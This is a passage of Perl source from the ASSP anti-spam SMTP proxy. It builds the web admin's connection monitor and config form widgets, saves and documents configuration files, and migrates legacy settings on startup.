                  . "</td><td $bgcolor>"
                  . substr( $Con{$key}->{rcpt}, 0, 25 )
                  . "</td><td $bgcolor>"
                  . $Con{$key}->{lastcmd}
                  . "</td><td $bgcolor>"
                  . $relay
                  . "</td><td $bgcolor>"
                  . (($Con{$key}->{spamfound}) ? 'Y' : 'N') .  $tmpScore
                  . "</td><td $bgcolor>"
                  . $Con{$key}->{maillength}
                  . "</td><td $bgcolor>"
                  . $tmpDuration
                  . "</td><td $bgcolor>"
                  . $tmpInactive
                  . '</td></tr>';
        }
	}
	$showcolor = $showcolor ? 'color-off' : 'color-on';
	my $ctime = localtime();
    <<EOT;
$headerHTTP
$headerDTDTransitional
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  $focusJS
  <title>$currentPage ASSP ($myName) this monitor will slow down ASSP dramaticly - use it careful</title>
  <link rel=\"stylesheet\" href=\"get?file=images/assp.css\" type=\"text/css\" />
</head>
<body onfocus="tStart();" onblur="tStop();">
<div >
<div style="float: right">$ctime\&nbsp;\&nbsp;
\&nbsp;\&nbsp;
<input id="colorbutton" type="button" value="$showcolor" onclick="javascript:switchcolor();"/>
<input id="stasto" type="button" value="Stop" onclick="javascript:startstop();"/>
\&nbsp;\&nbsp;
<input type="button" value="Close" onclick="javascript:window.close();"/></div>
<h2>SMTP Connections List</h2>
$s1
<table cellspacing="0" id="conTable">
$s2
</table>
<br />
</div>
</body></html>
EOT
}


sub SaveConfig {

	mlog( 0, "saving config" ,1) if $MaintenanceLog > 2;
    rename( "$base/assp.cfg.bak.bak", "$base/assp.cfg.bak.bak.bak" );
    rename( "$base/assp.cfg.bak",     "$base/assp.cfg.bak.bak" );
    rename( "$base/assp.cfg",         "$base/assp.cfg.bak" );
    $FileUpdate{"$base/assp.cfgasspCfg"} = 0;
    open( $FH, ">$base/assp.cfg" );
    foreach my $c (@ConfigArray) {
        next if $c->[0] eq "0";
        print $FH "$c->[0]:=$Config{$c->[0]}\n";
    }
	foreach my $c (sort keys %ConfigAdd) {

       print $FH "$c:=$ConfigAdd{$c}\n";
   }
 
    close $FH;
    my @s     = stat("$base/assp.cfg");
 	my $mtime = $s[9];
 	$FileUpdate{"$base/assp.cfgasspCfg"} = $mtime;
 	$asspCFGTime = $mtime;
 	
	if ($AsASecondary && $PrimaryPid) {		
		kill HUP => $PrimaryPid;
	}

}

sub backupFile {
    return;    # unless $BackupCopies > 0;
    my $f  = shift;
    my $bf = $f;
    $bf =~ s/.*[\\\/]|/bak\//;
    my $i;

    #    my $i = $BackupCopies - 1;
    unlink("$base/$bf.$i");
    for ( ; $i > 0 ; $i-- ) {
        rename( "$base/$bf." . ( $i - 1 ), "$base/$bf.$i" );
    }
    rename( $f, "$base/$bf.0" );
}


sub textinput {
    my (
        $name,  $nicename, $size,        $func,      $default,
        $valid, $onchange, $description, $cssoption, $note
    ) = @_;
    my $Error = checkUpdate( $name, $valid, $onchange );
    my $value = encodeHTMLEntities( $Config{$name} );
	my $hdefault = encodeHTMLEntities($default);
	
 	my $showdefault;
 	$description = &niceLink($description);
 	$hdefault =~ s/'|"|\n//g;
 	$hdefault =~ s/\\/\\\\/g;
 	$showdefault = $hdefault ? $hdefault : '&nbsp;';
 	my $shortdefault = $showdefault;
 	$shortdefault = substr( $showdefault, 0, 40 ) . "..." if length ($showdefault) > 40;
 	my $color = ($value eq $hdefault) ? '' : 'style="color:#8181F7;"';
 	
 	$default = (!$hdefault or $value eq $hdefault) ? '' : ", default=$shortdefault";
 	my $cfgname = $EnableInternalNamesInDesc?"<a href=\"javascript:void(0);\"$color onmousedown=\"document.forms['ASSPconfig'].$name.value='$hdefault';return false;\" onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>click to reset<br />to default value</td><td>$showdefault</td></tr></table>', this, event, '450px', ''); return true;\" onmouseout=\"window.status='';return true;\"><i> ($name$default)</i></a>":'';
 $cfgname .= syncShowGUI($name);
 my $edit  =  '';
 my $display = '';
 $note=1 if !$note;
 if ($name !~ /^adminuser/io &&
     $name ne 'pbdb' &&
     ($value=~/^\s*file:\s*(.+)\s*/io or
      $value=~/^\s*(DB):\s*/io or
      $name eq 'griplist' or
      exists $ReportFiles{$name})
    )
 {
      # the optionlist is actually saved in a file or is a DB.
      my $fil;
      $fil = $1 if ($value=~/^\s*file:\s*(.+)\s*/io or $value=~/^\s*(DB):\s*/io);
      my $what = 'file';
      if ($fil eq 'DB') {
          $what = 'list';
          $fil .= "-$name";
      }
      if ($name eq 'griplist') {
          $fil = $griplist;
          $note = 8;
      }
      my $act = $note == 8 ? 'Show' : 'Edit' ;
      my $ifil = $fil;
      if ($fil) {
          $fil  =~ s/([^\w\-.!~*\'() ])/sprintf("%%%02X",ord($1))/ego;
          $fil  =~ s/ /+/go;
          $edit = "<input type=\"button\" value=\" $act $what \" onclick=\"javascript:popFileEditor(\'$fil\',$note);setAnchor('$name');\" /><br />";
      }
		
		my @reportIncludes;
      	if (exists $ReportFiles{$name}) {
          my $what = "report file: $ReportFiles{$name}";
          my $note = 2;
          @reportIncludes = ReportIncludes($ReportFiles{$name});
          my $fil = $ReportFiles{$name};
          $fil  =~ s/([^\w\-.!~*\'() ])/sprintf("%%%02X",ord($1))/ego;
          $fil  =~ s/ /+/go;
          $edit .= "<input type=\"button\" value=\" $act $what \" onclick=\"javascript:popFileEditor(\'$fil\',$note);setAnchor('$name');\" /><br />";
      	}
  		foreach my $f (keys %{$FileIncUpdate{"$base/$ifil$name"}}) {
     		my $fi = $f;
     		$f  =~ s/([^\w\-.!~*\'() ])/sprintf("%%%02X",ord($1))/eg;
     		$f  =~ s/ /+/g;
     		$fi  =~ s/$base/\./;
     		$edit .= "<input type=\"button\" value=\" $act included file $fi \" onclick=\"javascript:popFileEditor(\'$f\',$note);\" /><br />";
  		}
 	}

    # get rid of google autofill
    #$name=~s/(e)(mail)/$1_$2/gi;
    return "<a name=\"$name\"></a>
 <div class=\"shadow\">
  <div class=\"option\">
   <div class=\"optionTitle$cssoption\">$nicename $cfgname</div>
   <div class=\"optionValue\">
    <input name=\"$name\" size=\"$size\" value=\"$value\" />
    $edit<br />
    $Error
    $description\n
   </div>
  </div>
  &nbsp;
 </div>";

}

sub textnoinput {
    my (
        $name,  $nicename, $size,        $func,      $default,
        $valid, $onchange, $description, $cssoption, $note
    ) = @_;
    my $Error = checkUpdate( $name, $valid, $onchange );
    my $value = encodeHTMLEntities( $Config{$name} );

    my $hdefault = encodeHTMLEntities($default);
    $description = &niceLink($description);
    $hdefault =~ s/'|"|\n//g;
    $hdefault =~ s/\\/\\\\/g;
	my $showdefault = $hdefault ? $hdefault : '&nbsp;';
	my $shortdefault = $showdefault;
 	$shortdefault = substr( $showdefault, 0, 40 ) . "..." if length ($showdefault) > 40;
	my $color = ($value eq $hdefault) ? '' : 'style="color:#8181F7;"';
	$default = (!$shortdefault or $value eq $hdefault) ? '' : ", default=$shortdefault";
    my $cfgname =
      $EnableInternalNamesInDesc
      ? "<a href=\"javascript:void(0);\"$color onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>default value:</td><td>$showdefault</td></tr></table>', this, event, '450px', ''); return true;\" onmouseout=\"window.status='';return true;\"><i>($name$default)</i></a>"
      : "";
    $cfgname .= syncShowGUI($name);
    my $edit = '';
    $note = 1 if !$note;

    if ( $value =~ /^\s*file:\s*(.+)\s*/i ) {

        # the optionlist is actually saved in a file.
        my $fil = $1;

        # escape query string
        $fil =~ s/([^\w\-.!~*\'() ])/sprintf("%%%02X",ord($1))/eg;
        $fil =~ s/ /+/g;
        $edit =
"<input type=\"button\" value=\" Edit file \" onclick=\"javascript:popFileEditor(\'$fil\',$note);\" />";
    }

    # get rid of google autofill
    #$name=~s/(e)(mail)/$1_$2/gi;
    return "<a name=\"$name\"></a>
 <div class=\"shadow\">
  <div class=\"option\">
   <div class=\"optionTitle$cssoption\">$nicename $cfgname</div>
   <div class=\"optionValue\">
    <input name=\"$name\" readonly style=\"background:#eee none; color:#222; font-style: italic\" size=\"$size\" value=\"$value\" />
    $edit<br />
    $Error
    $description\n
   </div>
  </div>
  &nbsp;
 </div>";

}

# everybody wants this, but I hate it -- use it if you care.
sub passinput {
    my (
        $name,  $nicename, $size,        $func, $default,
        $valid, $onchange, $description, $cssoption
    ) = @_;
    my $Error = checkUpdate( $name, $valid, $onchange );
    my $value = encodeHTMLEntities( $Config{$name} );
	$description = &niceLink($description);
    my $hdefault = encodeHTMLEntities($default);
    $hdefault =~ s/'|"|\n//g;
    $hdefault =~ s/\\/\\\\/g;
	my $showdefault = $hdefault ? $hdefault : '&nbsp;';
    my $cfgname =
      $EnableInternalNamesInDesc
      ? "<a href=\"#$name\" onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>default value:</td><td>$showdefault</td></tr></table>', this, event, '450px', ''); return true;\" onmouseout=\"window.status='';return true;\"><i>($name)</i></a>"
      : "";
    $cfgname .= syncShowGUI($name);
    "<a name=\"$name\"></a>
 <div class=\"shadow\">
 <div class=\"option\">
  <div class=\"optionTitle$cssoption\">$nicename $cfgname</div>
  <div class=\"optionValue\"><input type=\"password\" name=\"$name\" size=\"$size\" value=\"$value\" /><br />\n$Error$description
  </div>
 </div>
 &nbsp;
 </div>";
}

sub passnoinput {
    my (
        $name,  $nicename, $size,        $func, $default,
        $valid, $onchange, $description, $cssoption
    ) = @_;
    my $Error = checkUpdate( $name, $valid, $onchange );
    my $value = encodeHTMLEntities( $Config{$name} );
	$description = &niceLink($description);
    my $hdefault = encodeHTMLEntities($default);
    $hdefault =~ s/'|"|\n//g;
    $hdefault =~ s/\\/\\\\/g;
	my $showdefault = $hdefault ? $hdefault : '&nbsp;';
    my $cfgname =
      $EnableInternalNamesInDesc
      ? "<a href=\"#$name\" onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>default value:</td><td>$showdefault</td></tr></table>', this, event, '450px', ''); return true;\" onmouseout=\"window.status='';return true;\"><i>($name)</i></a>"
      : "";
    $cfgname .= syncShowGUI($name);
    "<a name=\"$name\"></a>
 <div class=\"shadow\">
 <div class=\"option\">
  <div class=\"optionTitle$cssoption\">$nicename $cfgname</div>
  <div class=\"optionValue\"><input type=\"password\" readonly style=\"background:#eee none; color:#222; font-style: italic\" name=\"$name\" size=\"$size\" value=\"$value\" /><br />\n$Error$description
  </div>
 </div>
 &nbsp;
 </div>";
}

sub listbox {

    my (
        $name,  $nicename, $values,      $func, $default,
        $valid, $onchange, $description, $cssoption
    ) = @_;
    my $Error = checkUpdate( $name, $valid, $onchange );
	$description = &niceLink($description);
    my $options;
    my $hdefault;
    foreach my $opt ( split( /\|/o, $values ) ) {
		my ( $v, $d ) = split( /:/o, $opt, 2 );
		$d = $v unless $d;
		Encode::from_to($d,'ISO-8859-1','UTF-8') if ($d && ! Encode::is_utf8($d));
		if ( $Config{$name} eq $v ) {
			$options .= "<option selected=\"selected\" value=\"$v\">$d</option>";
		} else {
			$options .= "<option value=\"$v\">$d</option>";
		}
        $hdefault = $d if ( $default eq $v );
	}
    my $color = ($Config{$name} eq $default) ? '' : 'style="color:#8181F7;"';
    $default = ($Config{$name} eq $default) ? '' : ", default=$hdefault";

    my $cfgname = $EnableInternalNamesInDesc?"<a href=\"javascript:void(0);\"$color onmousedown=\"document.forms['ASSPconfig'].$name.value='$default';return false;\" onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>click to reset<br />to default value</td><td>$hdefault</td></tr></table>', this, event, '450px', ''); return true;\" onmouseout=\"window.status='';return true;\"><i>($name$default)</i></a>":'';
	$cfgname .= syncShowGUI($name);
    "<a name=\"$name\"></a>
 	<div class=\"shadow\">
 	<div class=\"option\">
  <div class=\"optionTitle$cssoption\">$nicename $cfgname</div>
  <div class=\"optionValue\">
  <span style=\"z-Index:100;\"><select size=\"1\" name=\"$name\">
	$options
	</select></span>
  <br />\n$Error$description
  </div>
 </div>
 &nbsp;
 </div>";
}

sub checkbox {
    my (
        $name,  $nicename, $size,        $func, $default,
        $valid, $onchange, $description, $cssoption
    ) = @_;
    my $Error = checkUpdate( $name, $valid, $onchange );
    my $checked  = $Config{$name} ? 'checked="checked"' : '';
    my $disabled = "";
    my $isrun    = "";
    my $script   = "";
	$description = &niceLink($description);
    if (
        ( $name =~ /forceLDAPcrossCheck/ )
        && (   $RunTaskNow{forceLDAPcrossCheck}
            or ( !$CanUseLDAP && !$CanUseNetSMTP )
            or !$ldaplistdb )
      )
    {
        $disabled = "disabled";
        $isrun =
          'LDAPlist (ldaplistdb) is not configured - not available!<br />'
          if ( !$ldaplistdb );
        $isrun .= 'module Net::LDAP is not available!<br />'
          if ( !$CanUseLDAP );
        $isrun .= 'module Net::SMTP is not available!<br />'
          if ( !$CanUseNetSMTP );
    }
    if ( exists $RunTaskNow{$name} && $RunTaskNow{$name} && $qs{$name} ) {
        ${$name} = '';
        $Config{$name} = '';
        $qs{$name}     = '';
        $disabled      = "disabled";
        $isrun .=
"task $name (or related task) is just running - not available now!<br />Refreshing your browser will possibly restart $name, instead use the 'Refresh Browser' button to refresh the browser!<br />";
    }

    my $hdefault = $default ? 'on'   : 'off';
    my $cdefault = $default ? 'true' : 'false';
    my $color = ($Config{$name} eq $default) ? '' : 'style="color:#8181F7;"';
    $default = ($Config{$name} eq $default) ? '' : ", default=$hdefault";

    my $cfgname = $EnableInternalNamesInDesc?"<a href=\"javascript:void(0);\"$color onmousedown=\"document.forms['ASSPconfig'].$name.checked=$cdefault;return false;\" onmouseover=\"showhint('<table BORDER CELLSPACING=0 CELLPADDING=4 WIDTH=\\'100%\\'><tr><td>click to reset<br />to default value</td><td>$hdefault</td></tr></table>', this, event, '450px', ''); return true;\" onmouseout=\"window.status='';return true;\"><i>($name$default)</i></a>":'';
	$cfgname .= syncShowGUI($name);
    "<a name=\"$name\"></a>
 <div class=\"shadow\">
 <div class=\"option\">
  <div class=\"optionTitle$cssoption\">
   <input type=\"checkbox\" $disabled name=\"$name\" value=\"1\" $checked /><span style=\"color:red\">$isrun</span>$nicename $cfgname<br /></div>
  <div class=\"optionValue\">\n$Error$description
  </div>
 </div>
 &nbsp;
 </div>$script";
}

sub heading {
    my ( $description, $nodeId ) = @_[ 4, 5, 6 ];

    "</div>
<div onmousedown=\"toggleDisp('$nodeId')\" class=\"contentHead\">
 $description
</div>
<div id=\"$nodeId\">\n";
}
sub checkUpdate {
    my ($name,$valid,$onchange,$desc)=@_;
    return '' unless %qs;
    unless (exists $Config{$name}) {
        mlog(0,"warning: config parm $name requested but $name is not defined") if $name !~ /^AD/o;
        return '';
    }
    if (exists $qs{'AD'.$name}) {
#        mlog(0,"info: QS AD$name found");  # access denied and/or hidden
        return '';
    }
    if($qs{$name} ne $Config{$name}) {
        if($qs{$name}=~/$valid/i && $qs{$name} eq $1) {
            my $new=$1; my $info;
            my $old=$Config{$name};
            $Config{$name}=$new;
            if($onchange) {
                $info=$onchange->($name,$old,$new,'',$desc);
            } else {
                my $dold = $old;
                my $dnew = $new;
                if (exists  $ConfigListBox{$name}) {
                    if (exists $ConfigListBoxAll{$name}) {
                        $dold = decHTMLent($ConfigListBoxAll{$name}{$old}." ($old)");
                        $dnew = decHTMLent($ConfigListBoxAll{$name}{$new}." ($new)");
                    } elsif ($ConfigListBox{$name} =~ /^O(?:n|ff)$/o) {
                        $dold = $old ? 'On' : 'Off';
                        $dnew = $new ? 'On' : 'Off';
                    }
                }
                my $text = exists $cryptConfigVars{$name} ? '' : "from '$dold' to '$dnew'";
                mlog(0,"AdminUpdate: $name changed $text") unless $new eq $old;
                ${$name}=$new;
    # -- this sets the variable name with the same name as the config key to the new value
    # -- for example $Config{myName}="ASSP-nospam" -> $myName="ASSP-nospam";
            }
            $ConfigChanged=1 unless exists $RunTaskNow{$name};
            if ($info !~ /span class.+?negative/o) {
                if ($new ne $old) {
                    my $ret = "<span class=\"positive\"><b>*** Updated $info</b></span><br />" ;
                    if ($Config{$name} ne ${$name} && ! exists $RunTaskNow{$name}) {

                        ${$name}=$Config{$name};
                    }
                    &syncConfigDetect($name);
                    return $ret;
                }
            } else {
                return "<span class=\"negative\"><b>*** Invalid: '$qs{$name}' $info</b></span><br />
                <script type=\"text/javascript\">alert(\"Invalid '$name' - Unchange.\");</script>";
            }
        } else {
            my $text; $text = "(check returned '$1')" if $qs{$name}=~/$valid/i;
            return "<span class=\"negative\"><b>*** Invalid: '$qs{$name}' $text</b></span><br />
            <script type=\"text/javascript\">alert(\"Invalid '$name' - Unchange.\");</script>";
        }
    }
}

sub PrintConfigDefaults {
    my $desc;
    open( $FH, ">$base/notes/configdefaults.txt" );
	my $counterT = -1;

    my %ConfigNice;
    my %ConfigDefault;
    my %ConfigNow;
   
    foreach my $c (@ConfigArray) {
        if ( @{$c} == 5 ) {
            $counterT++;
        } else {
            $ConfigPos{ $c->[0] }  = $counterT;
            $ConfigNice{ $c->[0] } = $c->[1] ;
            $ConfigNice{ $c->[0] } =~ s/\&lt\;a href.*\/&gt;&lt\;\/a\&gt\;//i;
            $ConfigNice{ $c->[0] } =~ s/<a\s+href.*<\/a>//i;
            $ConfigNice{ $c->[0] } =~ s/'|"|\n//g;
            $ConfigNice{ $c->[0] } =~ s/\\/\\\\/g;
            $ConfigNice{ $c->[0] } = '&nbsp;' unless $ConfigNice{ $c->[0] };
            $ConfigDefault{ $c->[0] } = $c->[4] ;
            $ConfigDefault{ $c->[0] } =~ s/'|"|\n//g;
            $ConfigDefault{ $c->[0] } =~ s/\\/\\\\/g;
            $ConfigNow{ $c->[0] } =  $Config{$c->[0]};
            $ConfigNow{ $c->[0] } =~ s/'|"|\n//g;
            $ConfigNow{ $c->[0] } =~ s/\\/\\\\/g;

            if ( $c->[3] == \&listbox ) {
#                $ConfigDefault{ $c->[0] } = 0 unless $ConfigDefault{ $c->[0] };
#                $ConfigNow{ $c->[0] } = 0 unless $ConfigNow{ $c->[0] };
                foreach my $opt ( split( /\|/o, $c->[2] ) ) {
                    my ( $v, $d ) = split( /:/o, $opt, 2 );
                    $ConfigDefault{ $c->[0] } = $d
                      if ( $ConfigDefault{ $c->[0] } eq $v );
                    $ConfigNow{ $c->[0] } = $d
                      if ( $ConfigNow{ $c->[0] } eq $v );

                }
            } elsif ( $c->[3] == \&checkbox ) {
                $ConfigDefault{ $c->[0] } =
                  $ConfigDefault{ $c->[0] } ? 'On' : 'Off';
                $ConfigNow{ $c->[0] } =
                  $ConfigNow{ $c->[0] } ? 'On' : 'Off';
                
            } else {
                $ConfigDefault{ $c->[0] } = ' '
                  unless $ConfigDefault{ $c->[0] };
                $ConfigNow{ $c->[0] } = ' '
                  unless $ConfigNow{ $c->[0] };
            }
        }
    }
    
    
    foreach my $c (@ConfigArray) {
		$desc = $c->[4]  if $c->[0] eq "0";
		$desc =~ s/\<.*\>//g;
        $desc =~ s/\<.*\>//g;

        
        print $FH "# $desc #\n" if $c->[0] eq "0";
#        next if $c->[0] eq "0";
        next if $c->[0] eq "webAdminPassword";
 
        my $c0 = uc $c->[0];

        if ( $ConfigDefault{ $c->[0] } ne $ConfigNow{ $c->[0] } ) {

            print $FH "$c->[0] -- $ConfigNice{ $c->[0] }: $ConfigNow{ $c->[0] } (Default: $ConfigDefault{ $c->[0] }) \n";
        } else {

            #print F "$c->[0] -- $desc: $Config{$c->[0]}  \n";
        }
    }
    close $FH;

    

}

sub PrintConfigSettings {
    my $desc;
 

    open( $FH, ">$base/assp.cfg.description.txt" );
    print $FH "\n$version $modversion\n\n";
    my $counterT = -1;

    my %ConfigNice;
    my %ConfigDefault;
    my %ConfigNow;
   
    foreach my $c (@ConfigArray) {
        if ( @{$c} == 5 ) {
            $counterT++;
        } else {
            $ConfigPos{ $c->[0] }  = $counterT;
            $ConfigNice{ $c->[0] } = encodeHTMLEntities( $c->[1] );
            $ConfigNice{ $c->[0] } =~ s/\&lt\;a href.*\/&gt;&lt\;\/a\&gt\;//i;
            $ConfigNice{ $c->[0] } =~ s/<a\s+href.*<\/a>//i;
            $ConfigNice{ $c->[0] } =~ s/'|"|\n//g;
            $ConfigNice{ $c->[0] } =~ s/\\/\\\\/g;
            $ConfigNice{ $c->[0] } = '&nbsp;' unless $ConfigNice{ $c->[0] };
            $ConfigDefault{ $c->[0] } = encodeHTMLEntities( $c->[4] );
            $ConfigDefault{ $c->[0] } =~ s/'|"|\n//g;
            $ConfigDefault{ $c->[0] } =~ s/\\/\\\\/g;
            $ConfigNow{ $c->[0] } = encodeHTMLEntities( $Config{$c->[0]} );
            $ConfigNow{ $c->[0] } =~ s/'|"|\n//g;
            $ConfigNow{ $c->[0] } =~ s/\\/\\\\/g;

            if ( $c->[3] == \&listbox ) {
                $ConfigDefault{ $c->[0] } = 0 unless $ConfigDefault{ $c->[0] };
                $ConfigNow{ $c->[0] } = 0 unless $ConfigNow{ $c->[0] };
                foreach my $opt ( split( /\|/o, $c->[2] ) ) {
                    my ( $v, $d ) = split( /:/o, $opt, 2 );
                    $ConfigDefault{ $c->[0] } = $d
                      if ( $ConfigDefault{ $c->[0] } eq $v );
                    $ConfigNow{ $c->[0] } = $d
                      if ( $ConfigNow{ $c->[0] } eq $v );

                }
            } elsif ( $c->[3] == \&checkbox ) {
                $ConfigDefault{ $c->[0] } =
                  $ConfigDefault{ $c->[0] } ? 'On' : 'Off';
                $ConfigNow{ $c->[0] } =
                  $ConfigNow{ $c->[0] } ? 'On' : 'Off';
                
            } else {
                $ConfigDefault{ $c->[0] } = ' '
                  unless $ConfigDefault{ $c->[0] };
                $ConfigNow{ $c->[0] } = ' '
                  unless $ConfigNow{ $c->[0] };
            }
        }
    }
    
    foreach my $c (@ConfigArray) {
        $desc = $c->[7];
        if ($desc) {
          $desc =~ s/\<b\>//go;
          $desc =~ s/\<i\>//go;
          $desc =~ s/\<p\>//go;
          $desc =~ s/\<small\>//go;
          $desc =~ s/\<br \/\>//go;
          $desc =~ s/\<\/i\>//go;
          $desc =~ s/\<\/b\>//go;
          $desc =~ s/\<\/p\>//go;
          $desc =~ s/\<\/small\>//go;
          $desc =~ s/\<[^<>]*\>//go;
        }

		my $line;
        my $c0  = uc $c->[0];
        my $act = "Actual: $Config{$c->[0]}" if $Config{ $c->[0] };
        my $def = "\nDefault: $ConfigDefault{ $c->[0] }" if $c->[4];
        $line = "-$c->[0] ($ConfigNice{ $c->[0] }) \n$desc $def \n";
#        $line =~
#s/(?:([^\r\n]{60,75}?;)|([^\r\n]{60,75}) ) {0,5}(?=[^\r\n]{10,})/$1$2\r\n\t/g;
        print $FH "\n$line" if $c->[0] ne "0";
 
        $desc = $c->[4] if $c->[0] eq "0";
        $desc =~ s/\<.*\>//g;
        print F "\n------   $desc   -----------------------------------------------\n" if $c->[0] eq "0";

    }
    close $FH;

    open( $FH, ">$base/assp.cfg.defaults" );
    foreach my $c (@ConfigArray) {

        next if $c->[0] eq "0";
        print $FH "$c->[0]:=$c->[4]\n";
    }
    close $FH;




}


sub SaveConfigSettings {
	return if $AsASecondary;
	return if !-e "$base/assp.cfg";
    return if $Config{asspCfgVersion} eq "$version$modversion";
    $Config{asspCfgVersion} = "$version$modversion";
    $asspCfgVersion = "$version$modversion";
	mlog( 0, "AdminUpdate: saving changed config file: $version$modversion" );

    SaveConfig();

    # load new configuration file
#    reloadConfigFile();
	
    PrintConfigDefaults();
}

sub PrintConfigHistory {
    my ($text) = @_;
    my $lt = localtime(time);
    $text =~ s/^AdminUpdate://i;
    open( $FH, ">>$base/notes/confighistory.txt" );
    print $FH "$lt:  $text\n";
    close $FH;
}
sub PrintWhitelistAdd {
    my ($text) = @_;
    my $lt = localtime(time);

    open( $FH, ">>$base/notes/whitelistadd.txt" );
    print $FH "$text";
    close $FH;
}

sub PrintUpdateHistory {
    my ($text) = @_;
    my $lt = localtime(time);

    open( $FH, ">>$base/notes/updatehistory.txt" );
    print $FH "$lt:  $text\n";
    close $FH;
}
sub PrintAdminInfo {
    my ($text) = @_;
    my $lt = localtime(time);
    $text =~ s/^AdminUpdate://i;
    open( $FH, ">>$base/notes/admininfo.txt" );
    print $FH "$lt:  $text\n";
    close $FH;
}

# This function is called on startup to clean up some settings
# Primarily these are settings that might be absent from assp.cfg
# or settings that are not needed anymore after an upgrade
sub fixConfigSettings {
# fix the SSL settings from V1
    if (exists $Config{enableSSL}) {
        $Config{DoTLS} = 2 if $Config{enableSSL};
        
    }   

	$Config{MaxAUTHErrors} = 5 if $Config{MaxAUTHErrors} eq "";
    $Config{base} = $base;
    $Config{TLDS} = 'file:files/tlds-alpha-by-domain.txt';

	$Config{noPBwhite} = 'file:files/nopbwhite.txt' if $Config{noPBwhite} eq 'nowhite.txt';
	$Config{webSecondaryPort} = '22222';
	$Config{webAdminPort} = '55555' if $Config{webAdminPort} eq '55555|55556';
	$Config{DoOrgWhiting} = 3 if $Config{DoOrgWhiting} == 1;
	$Config{ HouseKeepingSchedule } = 3 if !$Config{ HouseKeepingSchedule };
	if ($Config{BayesMaxProcessTime} > 15) {
        $BayesMaxProcessTime = $Config{BayesMaxProcessTime} = 15;
    }
	$Config{ noGriplistUpload } = 1 if $Config{ noGriplist };
	$Config{ noGriplistDownload } = 1 if $Config{ noGriplist };

    $Config{ihValencePB} = 40 if $Config{ihValencePB} == 30;
    $Config{SSLtimeout} = 5 if $Config{SSLtimeout} > 5; 
    $Config{LDAPcrossCheckInterval} = 24 if !$Config{LDAPcrossCheckInterval};
	$Config{AutoRestartAfterCodeChange} = 'immed' if $Config{AutoRestartAfterCodeChange} eq "1";
	$Config{OutgoingBufSizeNew} = 10240000 if  $Config{OutgoingBufSizeNew} < 10240000;

    $Config{MaxEqualXHeader} = '*=>'.$Config{MaxEqualXHeader} if $Config{MaxEqualXHeader} =~ /^\d+$/;
	$Config{DelayEmbargoTime} = 2 if $Config{DelayEmbargoTime} == 5;
	$Config{smtpDestination} =~ s/localhost/127.0.0.1/;
    if ( $Config{webAdminPassword} ) {
        $Config{webAdminPassword} = crypt( $Config{webAdminPassword}, "45" )
          if substr( $Config{webAdminPassword}, 0, 2 ) ne "45";
    }

    if ($Config{allowAdminConnectionsFromName}) {
        my $host = $Config{allowAdminConnectionsFrom};
        $host .= '|' if $host;
        $host .= $Config{allowAdminConnectionsFromName};
        $Config{allowAdminConnectionsFrom} = $host;
        delete $Config{allowAdminConnectionsFromName};
    }
    
    if ($Config{EmailFrom} =~ /ASSP <>/io) {
        mlog(0,"warning: invalid value '$Config{EmailFrom}' in EmailFrom was set to ''");
        $Config{EmailFrom} = '';
        $EmailFrom = '';
    } 
    
    $Config{maxBombSearchTime} = 10 if $Config{maxBombSearchTime} > 10;
    $Config{maxBombSearchTime} = 5 if !$Config{maxBombSearchTime};
    $Config{DoPenalty} = 2 if $Config{DoPenalty} == 3;

    $Config{wildcardUser} = lc $Config{wildcardUser};  
    my $host = $defaultLocalHost;
    $host ||= $EmailBlockReportDomain;

    $host ||= "assp-notspam.org";
    if ($Config{EmailFrom} eq '') {
   
        $EmailFrom = "\<postmaster\@$host\>";
        $Config{EmailFrom} = $EmailFrom;
        mlog(0,"info: empty value '' in EmailFrom was set to '$EmailFrom'");
    }
    my  $oldEmailFrom = $Config{EmailFrom}; 
    if ($Config{EmailFrom}  =~ /\<\>/) {
    	$EmailFrom = $Config{EmailFrom};
   		$EmailFrom =~ s/\<\>/\<postmaster$host\>/;
       
        $Config{EmailFrom} = $EmailFrom;
        mlog(0,"info: invalid value $oldEmailFrom in EmailFrom was set to '$EmailFrom'");
    }
	$Config{maillogExt} = ".eml" if !$Config{maillogExt};
	$Config{baysValencePB} = 49 if $Config{baysValencePB} == 45;
    $Config{redRe} = "file:files/redre.txt"
      if $Config{redRe} =~ /file:redre.txt/i;
    $Config{noDelay} = "file:files/nodelay.txt"
      if $Config{noDelay} =~ /file:nodelay.txt/i;

    my $mydelaydb = $Config{delaydb};
	if ($mydelaydb !~ /sql/i) {
    $Config{DelayShowDBwhite} = "file:$mydelaydb.white";
    $Config{DelayShowDB}      = "file:$mydelaydb";
    } else {
    $Config{DelayShowDBwhite} = "";
    $Config{DelayShowDB}      = "";
    }
    $Config{fileLogging} = 1;
    $fileLogging = 1;

    $ConfigAdd{globalRegisterURL} = $Config{globalRegisterURL};
    $ConfigAdd{globalUploadURL} = $Config{globalUploadURL};

# -- this sets the variable name with the same name as the config key to the new value
# -- for example $Config{myName}="ASSP-nospam" -> $myName="ASSP-nospam";
    foreach ( keys %Config ) { 
    mlog(0,"info: '$_' => '$Config{$_}' ") if ($_ =~ /^[+-]?\d+(\.\d+)?$/); 
    ${$_} = $Config{$_}  if ($_ !~ /^[+-]?\d+(\.\d+)?$/); 
	}

    
    # set the date/time for assp.cfg
    my @s     = stat("$base/assp.cfg");
    my $mtime = $s[9];
    $FileUpdate{"$base/assp.cfgasspCfg"} = $mtime;
    $asspCFGTime = $mtime;

	my $savecfg = 0;
    my $savesync = 0;
    foreach (sort keys %newConfig) {
        mlog(0,"info: new config parameter $_ was set to '${$_}'");
        if (&syncCanSync() && ! exists $neverShareCFG{$_}) {
            $ConfigSync{$_} = {};

            $ConfigSync{$_}->{sync_cfg} = 0;
   
            $ConfigSyncServer{$_} = {};

            $savesync = 1;
        }
        $savecfg = 1;
    }
    &SaveConfig() if $savecfg;
	&syncWriteConfig() if $savesync;
    %newConfig = ();



      # turn settings into regular expressions
    &CompileAllRE(1);
	eval {
    foreach my $c (@ConfigArray) {
        if ($c->[0] && ${$c->[0]} !~ /$c->[5]/) {
